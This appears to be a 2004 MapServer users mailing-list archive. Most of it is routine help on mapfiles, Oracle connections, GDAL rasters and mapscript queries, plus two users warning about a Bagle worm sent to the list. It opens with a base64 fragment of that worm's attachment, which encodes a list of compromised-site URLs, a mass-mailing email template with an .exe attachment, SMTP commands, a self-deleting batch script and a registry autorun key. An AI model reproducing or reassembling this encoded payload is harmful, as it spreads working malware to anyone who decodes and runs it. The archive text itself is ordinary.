Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu
cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4
ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy
YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93
d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv
MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz
aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3
dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0
dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0
dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t
LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz
DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz
aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu
ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0
L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6
IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z
ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv
ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt
ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0
ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg
ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA
AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF
XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi
YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog
AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB
DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc
ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA
AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA
IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA
AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm
ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w
b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA
FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w
b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm
ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+
/v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA
gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA
AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

----------708406486372157--



From flavio at tydac.ch  Mon Jan 19 02:03:20 2004
From: flavio at tydac.ch (Flavio Hendry)
Date: Mon, 19 Jan 2004 11:03:20 +0100
Subject: [Mapserver-users] connection in mapfile to Oracle spatial is
 not used
In-Reply-To: <4007D2B1.CA2EBAA1@isb-mz.de>
References: <4007D2B1.CA2EBAA1@isb-mz.de>
Message-ID: 

Hi Patricia

I don't know if this helps:

... there will be an additional thing to fix in oracle:
******
Obviously this is a well know feature (bug). After a successfull
installation of Oracle 8.1.7 you have to change

   SQLNET.AUTHENTICATION_SERVICE=(NTS)
to
   SQLNET.AUTHENTICATION_SERVICE=()

in sqlnet.ora (search for this file in the dir where you installed
Oracle).
*******

Mit freundlichem Gruss / Best Regards
Flavio Hendry

----------------------------------------------------------------
++++++++++ Neue Neapoljs Seiten auf www.neapoljs.com +++++++++++
----------------------------------------------------------------
############      Mit freundlichen Gruessen / Best Regards
############       Flavio Hendry- mailto:flavio at tydac.ch
############         TYDAC AG - http://www.tydac.ch
####    ####        Geographic Information Solutions
####    ####         Luternauweg 12 -- CH-3006 Bern
############   Tel +41 (0)31 368 0180 - Fax +41 (0)31 368 1860
----------------------------------------------------------------


-----Original Message-----
From: Patricia Witte 
To: mapserver-users at lists.gis.umn.edu
Date: Fri, 16 Jan 2004 13:01:53 +0100
Subject: [Mapserver-users] connection in mapfile to Oracle spatial is 
not used

> Hi,
> I have successfully run MapServer under IIS 5.0 with some shapefile.
> With a spatial layer i get the error: msDrawMap(): unable to draw
> layer.
> 
> With some onlog-trigger in my database I've shown
> that the connection in the mapfile is not used, there is no logon
> performed.
> I have tried everything I've found in the archive (oci.dll, path,
> ORACLE_HOME).
> Connect through sqlplus is possible.
> Has anyone solved this before?
> Thanks,
> Patricia
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From godwinl at agr.gc.ca  Mon Jan 19 06:17:20 2004
From: godwinl at agr.gc.ca (Liz Godwin)
Date: Mon, 19 Jan 2004 09:17:20 -0500
Subject: [Mapserver-users] Virus in message
Message-ID: 

Hi List...

My virus scanner picked up a virus sent as an attachment to a message
sent to the list this morning.

From:  aborruso at spaziogis.it 
Subject: Hi
Time/Date: Jan 19/2003, 4:46am 
Virus: W32/Bagle at MM

I hope no one gets infected.

Liz Godwin


From eduardo at consultoria.eti.br  Mon Jan 19 06:25:41 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Mon, 19 Jan 2004 12:25:41 -0200
Subject: [Mapserver-users] *rent a house* webmapping
Message-ID: <20040119142541.14050.qmail@hm47.locaweb.com.br>

does anybody know any website that uses webmapping for displaying results of a *rent a house/apartment* query?

I mean, a website where users can put some parameters as price, address, max area and then get a list of house/points on map available.

thanks

Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - "Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************






From jnielsen at aero-graphics.com  Mon Jan 19 06:53:26 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Mon, 19 Jan 2004 07:53:26 -0700
Subject: [Mapserver-users] Raster Legend Icons etc.
In-Reply-To: 
References: <1074293231.400869efb935a@www.agi-lan.com> 
Message-ID: <1074524006.400bef66b7e52@www.agi-lan.com>

Quoting Pericles Nacionales :

> Try this:
> 
> Replace your CLASS object:
>    CLASS
>      NAME 'Utah County Top Raster'
>      SYMBOL 'symbols/raster01.png'
>    END
> 
> with this:
>    CLASS
>      NAME 'Utah County Top Raster'
>      STYLE
>        KEYIMAGE 'symbols/raster01.png'
>      END
>    END
> 
> Good luck!
> 
> -Perry N.
> 
> 
> On Fri, 16 Jan 2004, Jason M. Nielsen wrote:
> 
> > Im trying to create a legend icon for when my raster layers are on.
> >
> > LAYER
> >   NAME top10c0
> >   TYPE raster
> >   STATUS OFF
> >   CLASS
> >     NAME 'Utah County Top Raster'
> >     SYMBOL 'symbols/raster01.png'
> >   END
> >   DATA "top10c0.jpg"
> >   OFFSITE 255 255 255
> >   PROCESSING "BANDS=1,2,3"
> > END
> >
> > This will work only if I comment out the PROCESSING line. In which case
> it
> > prints the name and a white icon and my image layer is in black and white.
> If I
> > do not I get the following error:
> >
> > msDrawMap(): Image handling error. Failed to draw layer named 'top10c0'.
> > drawGDAL(): Unable to access file. Attempt to classify 24bit image, this
> is
> > unsupported.
> >
> > Now if I do something like:
> >
> > LAYER
> >   NAME tiletop10c0
> >   STATUS OFF
> >   TILEINDEX top10c0.shp
> >   TILEITEM Location
> >   TYPE RASTER
> >   CLASS
> >     NAME 'Utah County Top Raster'
> >     SYMBOL 'symbols/raster01.png'
> >   END
> > END
> >
> > The icon shows up perfectly etc. But I also dont have an image drawn. Im
> > assuming I dont have the tiling deal setup properly.
> >
> > So basically the question is how do I get this icon to print with the text
> in
> > the legend but still have my 24bit color raster layer display?
> >
> > Thanks.
> >
> > -------------------------------------------------
> > This mail sent through IMP: http://horde.org/imp/
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> 

loadStyle(): Unknown identifier. Parsing error near (KEYIMAGE):(line 121) 


-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From warmerdam at pobox.com  Mon Jan 19 07:44:18 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Mon, 19 Jan 2004 10:44:18 -0500
Subject: [Mapserver-users] Geo TIFFs
In-Reply-To: <1074294275.40086e03aa4bb@www.agi-lan.com>
References: <1074277807.40082daf9177f@www.agi-lan.com> <40084016.4030902@pobox.com> <1074285753.40084cb9e3165@www.agi-lan.com> <40085DD3.6050408@pobox.com> <1074294275.40086e03aa4bb@www.agi-lan.com>
Message-ID: <400BFB52.7060506@pobox.com>

Jason M. Nielsen wrote:
> Now INPUT=TIFF is gone as I presume it should be since GDAL will be being used?

Sounds good.

> Samething still occures. No errors. Image just simply does not display.
> 
> [root at vad3rZIM data]# gdalinfo top10c0.tif
> Driver: GTiff/GeoTIFF
> Size is 3854, 3773
> Coordinate System is `'
> Origin = (1512385.000000,7356162.500000)
> Pixel Size = (10.000000,-10.000000)
> Metadata:
>   TIFFTAG_SOFTWARE=Adobe Photoshop 7.0
>   TIFFTAG_DATETIME=2004:01:14 09:03:52
> Corner Coordinates:
> Upper Left  ( 1512385.000, 7356162.500) 
> Lower Left  ( 1512385.000, 7318432.500) 
> Upper Right ( 1550925.000, 7356162.500) 
> Lower Right ( 1550925.000, 7318432.500) 
> Center      ( 1531655.000, 7337297.500) 
> Band 1 Block=3854x2 Type=Byte, ColorInterp=Red
> Band 2 Block=3854x2 Type=Byte, ColorInterp=Green
> Band 3 Block=3854x2 Type=Byte, ColorInterp=Blue

The first conclusion I leap to is that your map extents are wrong with regard
to the raster file.  If you want further help it would be best to supply your
complete mapfile, or a minimal complete mapfile that demonstrates your problem.
I would also encourage you to run the mapfile through "shp2img" with as much
debugging turned on as possible.

eg.
$ export CPL_DEBUG=ON
$ shp2img -all_debug 1 -m input.map -o output.png

> BTW, while Im on the subject and have the gdal info up here. I do not recall
> seeing anyplace where I can directly reference this "Metadata:" section in the
> TIFF. Is this possible through mapserv directly or would a script of the like
> need to be written (ie: perl, php, python etc) that made use of the likes of
> gdal_info to extract said information?

The metadata provided by GDAL is not trivially usable within MapServer.  However,
it is accessable via the C/C++ and Python APIs for GDAL (perhaps the PHP bindings
too? Though I think they may only exist for OGR, not GDAL).  You could also
run gdalinfo externally and parse the output but thats kind of a clumsy solution.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From hrz at geodata.soton.ac.uk  Mon Jan 19 08:10:51 2004
From: hrz at geodata.soton.ac.uk (Homme Zwaagstra)
Date: Mon, 19 Jan 2004 16:10:51 +0000 (GMT)
Subject: [Mapserver-users] Change layerobj's data property
In-Reply-To: <1074263213.1548.4.camel@ubet.gomoos.org> from "Eric Bridger" at Jan 16, 2004 09:26:48 AM
Message-ID: <200401191610.i0JGApp25370@betsy.geodata.soton.ac.uk>

Thanks for the reply but I'm afraid your tip didn't work for me - on to the
upgrade!

Homme.

> 
> I use this method with Mapserver/mapscript 3.6.6 with no problems.
> But I don't rely on mapscript to use the SHAPEPATH, I always use the
> full path for the layer->data member.  Try that.  You should be able to 
> retrieve the SHAPEPATH from the map object $map->shapepath.
> 
> Eric


From robert-fritz at web.de  Mon Jan 19 09:13:30 2004
From: robert-fritz at web.de (robert fritz)
Date: Mon, 19 Jan 2004 18:13:30 +0100
Subject: [Mapserver-users] queryByAttributes/mapscript
Message-ID: <200401191713.i0JHDTQ25203@mailgate5.cinetic.de>

Hello,

I want to use php_mapscript and querybyAttributes, but I do not now how to use it.
What do I have to use for qitem & qstring (int queryByAttributes(string qitem, string qstring, int mode))?
I know how to use qstring & qitem via cgi, but i do not know how to use qstring etc. and mapscript.

qitem = "ID"  (Type:String)
value = "aa12"
qstring = ? 
  something like 
   $qstring = "\"ID\" = ".$value; // please help
   $qstring = "\"[ID]\" = ".$value; // please help
   $qstring = "\"[ID]\" =~ ".$value; // please help
   
   Thank you,
   Robert
   

______________________________________________________________________________
Nachrichten, Musik und Spiele schnell und einfach per Quickstart im 
WEB.DE Screensaver - Gratis downloaden: http://screensaver.web.de/?mc=021110



From TMitchell at lignum.com  Mon Jan 19 09:34:34 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Mon, 19 Jan 2004 09:34:34 -0800
Subject: [Mapserver-users] ZMapServer application online
In-Reply-To: <40079616.4060901@webgis.de>
Message-ID: 





> Hi Tyler,
>
> there is mapserver wiki page, where i started to put some information on
> python-mapscript for windows, also a python mapscript windows binary is
> available.
>
> See:
> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PythonMapScriptWindowsBinary
>
> Cheers, Michael

Thanks Michael,
The windows install binary doesn't seem to find my python 2.3 install - is
it looking for python 2.1?
So I manually moved over mapscript.py into my 2.3 site-packages.  Now when
I try to start zope I get:

"ImportError: No module named _mapscript"

Anyone has some tips on what I *should* be doing?

Tyler



From mapserver at geochem.de  Mon Jan 19 09:59:45 2004
From: mapserver at geochem.de (Nicol Hermann)
Date: Mon, 19 Jan 2004 18:59:45 +0100
Subject: [Mapserver-users] save/load Query with phpmapscript
Message-ID: <1074535185.1247.2.camel@katrin>

Dear List,

i have a question concerning the save/loadquery function of
phpmapscript. I could perform e.g. a queryByPoint, save the query and
load them afterwards without any problems.

But how do i get the extents of the loaded query and how do i adress
them with phpmapscript? A short code snippet would be fine

Thanks a lot
Nicol

-- 
Nicol Hermann 



From pedro.carrasco at iver.es  Mon Jan 19 09:41:07 2004
From: pedro.carrasco at iver.es (Pedro A. Carrasco Ponce)
Date: Mon, 19 Jan 2004 18:41:07 +0100
Subject: [Mapserver-users] queryByAttributes/mapscript
In-Reply-To: <200401191713.i0JHDTQ25203@mailgate5.cinetic.de>
References: <200401191713.i0JHDTQ25203@mailgate5.cinetic.de>
Message-ID: <400C16B3.1010302@iver.es>

robert fritz wrote:

> Hello,
> 
> I want to use php_mapscript and querybyAttributes, but I do not now how to use it.
> What do I have to use for qitem & qstring (int queryByAttributes(string qitem, string qstring, int mode))?
> I know how to use qstring & qitem via cgi, but i do not know how to use qstring etc. and mapscript.
> 

Hello,
I made this:

In a layer named $lyrPobs:

$lyrPobs->queryByAttributes('ID','/'.$filter.'/',MS_MULTIPLE);

$filter is defined like:

filter = '12123|1231321|3243343|2324324'

So it search for the ID's:
12123, 1231321, 3243343, 2324324

if you search for only one ID the $filter is "/ID/"

Hope help you.

Regards.
-- 
Pedro



From rjames57 at yahoo.com  Mon Jan 19 10:33:45 2004
From: rjames57 at yahoo.com (Randy James)
Date: Mon, 19 Jan 2004 13:33:45 -0500 (EST)
Subject: [Mapserver-users] virus info
Message-ID: <20040119183345.3437.qmail@web12504.mail.yahoo.com>

Hi

I have the virus in my email also, and it appears to be the

W32.Beagle.A at mm in a file called ofox.exe

I have the headers here:



X-Apparently-To:  rjames57 at yahoo.com via 216.136.173.198;
Mon, 19 Jan 2004 02:08:15 -0800
X-YahooFilteredBulk: 128.101.73.109
Return-Path: 
Received: from 128.101.73.109 (EHLO lists.gis.umn.edu)
(128.101.73.109) by mta133.mail.sc5.yahoo.com with SMTP;
Mon, 19 Jan 2004 02:08:15 -0800
Received: from lists.gis.umn.edu (localhost [127.0.0.1]) by
lists.gis.umn.edu (8.12.10/8.12.10) with ESMTP id
i0J9qfAP014240; Mon, 19 Jan 2004 03:52:41 -0600 (CST)
Received: from PC365
(host217-40-164-153.in-addr.btopenworld.com
[217.40.164.153]) by lists.gis.umn.edu (8.12.10/8.12.10)
with SMTP id i0J9mhAQ014127 for
; Mon, 19 Jan 2004
03:48:44 -0600 (CST)
To: Mapserver-users at lists.gis.umn.edu
From: palle at mail-online.dk | This is not spam |  [Add to
Address Book] Add to Address Book
Message-ID: 
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="--------708406486372157"
Subject:

[Mapserver-users] Hi
Sender: mapserver-users-admin at lists.gis.umn.edu
Errors-To: mapserver-users-admin at lists.gis.umn.edu
X-BeenThere: mapserver-users at lists.gis.umn.edu
X-Mailman-Version: 2.0.13
Precedence: bulk
List-Unsubscribe:
,

List-Id: Mapserver Users Mailing List (Appropriate for
general users) 
List-Post: 
List-Help:

List-Subscribe:
,

List-Archive:

Date: Mon, 19 Jan 2004 09:46:49 +0000
Content-Length: 11264

Test =)
kdudsgcaycwrdv
--
Test, yep.



______________________________________________________________________ 
Post your free ad now! http://personals.yahoo.ca


From emiliom at u.washington.edu  Mon Jan 19 10:54:17 2004
From: emiliom at u.washington.edu (Emilio Mayorga)
Date: Mon, 19 Jan 2004 10:54:17 -0800
Subject: [Mapserver-users] Raster Legend Icons etc.
In-Reply-To: <20040119180006.24309.89844.Mailman@lists.gis.umn.edu>
References: <20040119180006.24309.89844.Mailman@lists.gis.umn.edu>
Message-ID: <400C27D9.1040901@u.washington.edu>

I believe this is a bug or limitation in Mapserver. I sent a message to 
the list about the exact same issue a month ago. This is the last 
message from the thread:
http://lists.gis.umn.edu/pipermail/mapserver-users/2003-December/009077.html

I think I ended up filing a bug in bugzilla. I  just tried searching 
bugzilla for bugs filed by me, but I'm not too familiar with bugzilla, 
so I wasn't successful. Oh well.

I gave up and ended up converting my 24big image to an indexed 8bit image.

Good luck!

-Emilio


Message: 15
Date: Mon, 19 Jan 2004 07:53:26 -0700
From: "Jason M. Nielsen" 
To: Pericles Nacionales 
Cc: Mapserver List 
Subject: Re: [Mapserver-users] Raster Legend Icons etc.

Quoting Pericles Nacionales :


 >> Try this:
 >>
 >> Replace your CLASS object:
 >>    CLASS
 >>      NAME 'Utah County Top Raster'
 >>      SYMBOL 'symbols/raster01.png'
 >>    END
 >>
 >> with this:
 >>    CLASS
 >>      NAME 'Utah County Top Raster'
 >>      STYLE
 >>        KEYIMAGE 'symbols/raster01.png'
 >>      END
 >>    END
 >>
 >> Good luck!
 >>
 >> -Perry N.
 >>
 >>
 >> On Fri, 16 Jan 2004, Jason M. Nielsen wrote:
 >>
 >
 >>> > Im trying to create a legend icon for when my raster layers are on.
 >>> >
 >>> > LAYER
 >>> >   NAME top10c0
 >>> >   TYPE raster
 >>> >   STATUS OFF
 >>> >   CLASS
 >>> >     NAME 'Utah County Top Raster'
 >>> >     SYMBOL 'symbols/raster01.png'
 >>> >   END
 >>> >   DATA "top10c0.jpg"
 >>> >   OFFSITE 255 255 255
 >>> >   PROCESSING "BANDS=1,2,3"
 >>> > END
 >>> >
 >>> > This will work only if I comment out the PROCESSING line. In 
which case
 >> it
 >>> > prints the name and a white icon and my image layer is in black 
and white.
 >
 >> If I
 >>> > do not I get the following error:
 >>> > msDrawMap(): Image handling error. Failed to draw layer named 
'top10c0'.
 >>> > drawGDAL(): Unable to access file. Attempt to classify 24bit 
image, this
 >
 >> is
 >
 >>> > unsupported.
 >>> >
 >>> > Now if I do something like:
 >>> >
 >>> > LAYER
 >>> >   NAME tiletop10c0
 >>> >   STATUS OFF
 >>> >   TILEINDEX top10c0.shp
 >>> >   TILEITEM Location
 >>> >   TYPE RASTER
 >>> >   CLASS
 >>> >     NAME 'Utah County Top Raster'
 >>> >     SYMBOL 'symbols/raster01.png'
 >>> >   END
 >>> > END
 >>> >
 >>> > The icon shows up perfectly etc. But I also dont have an image 
drawn. Im
 >>> > assuming I dont have the tiling deal setup properly.
 >>> >
 >>> > So basically the question is how do I get this icon to print with 
the text>> in
 >
 >>> > the legend but still have my 24bit color raster layer display?
 >>> >
 >>> > Thanks.

loadStyle(): Unknown identifier. Parsing error near (KEYIMAGE):(line 121)



From bartvde at xs4all.nl  Mon Jan 19 11:21:59 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Mon, 19 Jan 2004 20:21:59 +0100
Subject: [Mapserver-users] define variables in MAP file?
Message-ID: 

Hi list,

is it possible to define variables in a MAP file and then use them 
throughout the MAP file, i.e. when you have 10 WMS layers which all come 
 from the same URL, you want to define this URL only once in your MAP file 
and not at every LAYER? I am looking for an option without using Mapscript.

Best regards,
Bart
  


From john.hagstrand at interageresearch.com  Mon Jan 19 11:26:22 2004
From: john.hagstrand at interageresearch.com (John Hagstrand)
Date: Mon, 19 Jan 2004 13:26:22 -0600
Subject: [Mapserver-users] RE: *rent a house* webmapping
In-Reply-To: <20040119180006.24309.89844.Mailman@lists.gis.umn.edu>
Message-ID: 

Hello Eduardo,

No I don't know of an existing website.  But we are working on a mapping
service that we will license to real estate service companies.  You can see
a demo, under development, here:
http://www.saveantioch.com/SaveAntioch/Home/default.asp?si=1&ti=356

John

John Hagstrand
Interage Research, Inc.
18733 State Line Road
Antioch, IL  60002
847 838 5371
www.interageresearch.com
Information Systems Consulting

>>does anybody know any website that uses webmapping for
>>displaying results of a *rent a house/apartment* query?

>>I mean, a website where users can put some parameters as price,
>>address, max area and then get a list of house/points on map
>>available.

thanks

Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ -
"Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do
Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************




From collao_andres at hotmail.com  Mon Jan 19 11:14:07 2004
From: collao_andres at hotmail.com (collao_andres)
Date: Mon, 19 Jan 2004 19:14:07 -0000
Subject: [Mapserver-users] problem with mapserver 4 + label + shape
Message-ID: 

work with mapserver 4 + redhat 9 and I have problems to show the 
originating labels from a layer that uses a SHAPE file
 
when defining labelitem does not show the layer in the map. but when 
quiot the instruction labelitem, the layer appears without problems

some idea???

#INICIO_curvas
  LAYER
    NAME "curvas"
    STATUS OFF
    DATA curvas/curvas_primera
    TYPE LINE
    UNITS METERS
    SIZEUNITS PIXELS
    TOLERANCE 0
    TOLERANCEUNITS PIXELS
    METADATA
      "origen"    "e-siir"
    END

    PROJECTION
      "proj=longlat" 
    END
    LABELITEM "CURVAS_ID"
#INICIO_CLASES
    CLASS
	NAME "0"
      LABEL
        TYPE TRUETYPE
        FONT "arial"
        SIZE 8
        MINSIZE 4
        MAXSIZE 8
        POSITION CC
        ANGLE AUTO
        OFFSET 10 10
        COLOR 208 166 108
        OUTLINECOLOR 255 255 255
        ANTIALIAS TRUE
      MINFEATURESIZE AUTO
	      BUFFER 2
      END
      STYLE
        SYMBOL 0
        COLOR 208 166 108
	  OUTLINECOLOR -1 -1 -1
        SIZE 1
        MINSIZE 1
        MAXSIZE 100
      END
    END
#FIN_CLASES
  END
#FIN_CAPA




From rjames57 at yahoo.com  Mon Jan 19 14:53:25 2004
From: rjames57 at yahoo.com (Randy James)
Date: Mon, 19 Jan 2004 14:53:25 -0800 (PST)
Subject: [Mapserver-users] problem with mapserver 4 + label + shape
In-Reply-To: 
Message-ID: <20040119225325.80235.qmail@web12506.mail.yahoo.com>

Hi

Looks like if you move the labelitem to the layer object it
should work. Check below for example

--- collao_andres  wrote:
> work with mapserver 4 + redhat 9 and I have problems to
> show the 
> originating labels from a layer that uses a SHAPE file
>  
> when defining labelitem does not show the layer in the
> map. but when 
> quiot the instruction labelitem, the layer appears
> without problems
> 
> some idea???
> 
> #INICIO_curvas
>   LAYER
>     NAME "curvas"
>     STATUS OFF
>     DATA curvas/curvas_primera
>     TYPE LINE
>     UNITS METERS
>     SIZEUNITS PIXELS
>     TOLERANCE 0
      LABELITEM "CURVAS_ID"
>     TOLERANCEUNITS PIXELS
>     METADATA
>       "origen"    "e-siir"
>     END
> 
>     PROJECTION
>       "proj=longlat" 
>     END
>    
> #INICIO_CLASES
>     CLASS
> 	NAME "0"
>       LABEL
>         TYPE TRUETYPE
>         FONT "arial"
>         SIZE 8
>         MINSIZE 4
>         MAXSIZE 8
>         POSITION CC
>         ANGLE AUTO
>         OFFSET 10 10
>         COLOR 208 166 108
>         OUTLINECOLOR 255 255 255
>         ANTIALIAS TRUE
>       MINFEATURESIZE AUTO
> 	      BUFFER 2
>       END
>       STYLE
>         SYMBOL 0
>         COLOR 208 166 108
> 	  OUTLINECOLOR -1 -1 -1
>         SIZE 1
>         MINSIZE 1
>         MAXSIZE 100
>       END
>     END
> #FIN_CLASES
>   END
> #FIN_CAPA
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


__________________________________
Do you Yahoo!?
Yahoo! Hotjobs: Enter the "Signing Bonus" Sweepstakes
http://hotjobs.sweepstakes.yahoo.com/signingbonus


From rsanabria at prosis.com  Mon Jan 19 16:05:26 2004
From: rsanabria at prosis.com (rsanabria at prosis.com)
Date: Mon, 19 Jan 2004 19:05:26 -0500 (COT)
